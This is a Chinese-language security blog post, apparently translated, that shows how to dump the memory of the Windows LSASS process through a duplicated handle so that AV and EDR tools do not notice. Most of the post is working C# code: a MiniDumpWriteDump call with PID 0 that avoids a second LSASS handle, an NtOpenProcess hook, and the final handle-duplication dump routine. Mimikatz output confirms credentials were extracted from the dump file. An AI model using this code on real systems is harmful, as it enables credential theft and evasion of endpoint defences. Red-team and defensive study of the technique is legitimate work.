前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用重复句柄转储 LSASS

使用重复句柄转储 LSASS

原创
作者头像
Khan安全团队
发布2021-12-29 14:48:15
6620
发布2021-12-29 14:48:15
举报
文章被收录于专栏:Khan安全团队

概述的用例涉及窃取 LSASS 的句柄,因为这可能比直接获取句柄更安全(来自 AV 和 EDR)。这篇文章将演示如何使用这样的句柄通过MiniDumpWriteDump API转储 LSASS 。

本机签名定义如下:

代码语言:javascript
复制
BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,
  [in] DWORD                             ProcessId,
  [in] HANDLE                            hFile,
  [in] MINIDUMP_TYPE                     DumpType,
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

相关参数是:

  1. 目标进程的句柄。
  2. 目标进程的PID。
  3. 输出文件的句柄。
  4. 要捕获的信息类型。

其余参数是可选的,可以保留为NULL

有几种不同的方式可以在 C# 中表示此 API,但我最喜欢的是SharpDump(使用SafeFileHandle)中的一种:

代码语言:javascript
复制
[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(
    IntPtr hProcess,
    int processId,
    SafeFileHandle hFile,
    uint dumpType,
    IntPtr exceptionParam,
    IntPtr userStreamParam,
    IntPtr callbackParam);

这是事情再次变得有趣的地方。

有人警告不要在MiniDumpWriteDump 调用使用重复的句柄,因为 API 只会打开自己的 LSASS 句柄,而不是使用提供的句柄。这可以解释为什么它需要 PID,但是如果您还必须自己提供句柄,为什么还要麻烦这样做呢……

如果我们按照 MS 文档的规定调用 API,我们可能会执行以下操作:

代码语言:javascript
复制
using var fs = new FileStream(@"C:\Temp\debug.bin", FileMode.Create);

Console.WriteLine("Getting handle... ");
var lsass = Process.GetProcessesByName("lsass")[0];

Console.WriteLine("Calling MiniDumpWriteDump...");
var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    lsass.Id,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

Console.WriteLine(success ? "Success" : "Failure");

此外,我使用MinHook.NET拦截所有对 NtOpenProcess 的调用并将它们打印到控制台。

代码语言:javascript
复制
private static uint NtOpenProcessDetour(ref IntPtr processHandle, Data.PROCESS_ACCESS desiredAccess, ref DInvoke.Data.Native.OBJECT_ATTRIBUTES objectAttributes, ref Data.CLIENT_ID clientId)
{
    var targetPid = (int)clientId.UniqueProcess;
    Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
    
    return _ntOpenProcessOrig(ref processHandle, desiredAccess, ref objectAttributes, ref clientId);
}

运行此程序时,我得到以下输出:

代码语言:javascript
复制
Getting handle...
Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success

第一个 NtOpenProcess 调用是我们。.NET Process 类中的底层互操作总是使用 1F0FFF 调用 Open Process。第二个调用是 MiniDumpWriteDump 发出的调用。2097151 是十六进制的 1FFFFF,我猜这只是 PROCESS_ALL_ACCESS 的另一种变体。您可以查看 Microsoft 的进程安全和访问权限页面以获取有关可能值的更多信息。

一个好奇是为什么这两个调用都出现在 Console.WriteLine 下方,用于“ Calling MiniDumpWriteDump... ”?为什么我们的调用没有直接出现在“ Getting handle... ”下面?答案是 Process 类在调用 Handle getter 属性之前不会调用 OpenProcess。

我们可以通过重构为:

代码语言:javascript
复制
using var fs = new FileStream(@"C:\Temp\debug.bin", FileMode.Create);

Console.WriteLine("Getting handle... ");

var lsass = Process.GetProcessesByName("lsass")[0];

Console.WriteLine("Handle: 0x{0:X}\n", lsass.Handle.ToInt64());
Console.WriteLine("Calling MiniDumpWriteDump...");

var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    lsass.Id,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

Console.WriteLine(success ? "Success" : "Failure");
代码语言:javascript
复制
Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x310

Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success

这不会改变结果,它只是用于区分两个调用。

那么这对于 handle dup 技巧意味着什么呢?如果 MiniDumpWriteDump 只是要把我们扔到总线下,那么避免直接调用 NtOpenProcess 的努力是没有意义的。

事实证明,一个简单的答案是实际上不通过 LSASS 的 PID。而不是 lsass.Id,使用我们自己的 PID 甚至 0。

代码语言:javascript
复制
var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    0,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

这一次,我得到了以下输出:

代码语言:javascript
复制
Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x314

Calling MiniDumpWriteDump...
Success

输出文件仍然被写入,我用 Mimikatz 验证它可以提取凭据。

代码语言:javascript
复制
PS C:\> C:\Tools\mimikatz\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Mar  3 2021 14:57:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump C:\Temp\debug.bin
Switch to MINIDUMP : 'C:\Temp\debug.bin'

mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Temp\debug.bin' file for minidump...

Authentication Id : 0 ; 374121 (00000000:0005b569)
Session           : Interactive from 1
User Name         : Daniel
Domain            : GHOST-CANYON
Logon Server      : GHOST-CANYON
Logon Time        : 22/12/2021 10:29:53

blah blah...

我们通过确认重复的句柄确实对 LSASS 开放来结束上一篇文章。

代码语言:javascript
复制
var exeName = QueryFullProcessImageName(hDuplicate);
if (!exeName.EndsWith("lsass.exe")) continue;

这只是让我们用我们上面学到的东西调用 MiniDumpWriteDump。

代码语言:javascript
复制
Console.WriteLine("Found open handle to LSASS. PID: {0}, Handle: 0x{1:X}", pid, handle.HandleValue);
        
// dump
using var fs = new FileStream(@"C:\Temp\debug.bin", FileMode.Create);
        
if (!Win32.MiniDumpWriteDump(_hDuplicate, 0, fs.SafeFileHandle, 2,
        IntPtr.Zero, IntPtr.Zero, IntPtr.Zero))
{
    var error = new Win32Exception(Marshal.GetLastWin32Error());
    Console.WriteLine("MiniDumpWriteDump failed. {0}", error.Message);
}
else
{
    Console.WriteLine("MiniDumpWriteDump successful.");
    DInvoke.DynamicInvoke.Win32.CloseHandle(hProcess);
    return;
}

在运行整个程序之前,将 NtOpenProcess 绕道更改为仅打印属于 LSASS 的 PID。因为 1) 否则控制台会被淹没;2)无论如何,我们只真正关心对 LSASS 的调用。

代码语言:javascript
复制
var targetPid = (int)clientId.UniqueProcess;
if (targetPid == _lsassPid)
    Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
代码语言:javascript
复制
Our PID: 9168
LSASS PID: 1056
Found open handle to LSASS. PID: 21068, Handle: 0x6B4
MiniDumpWriteDump successful.

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档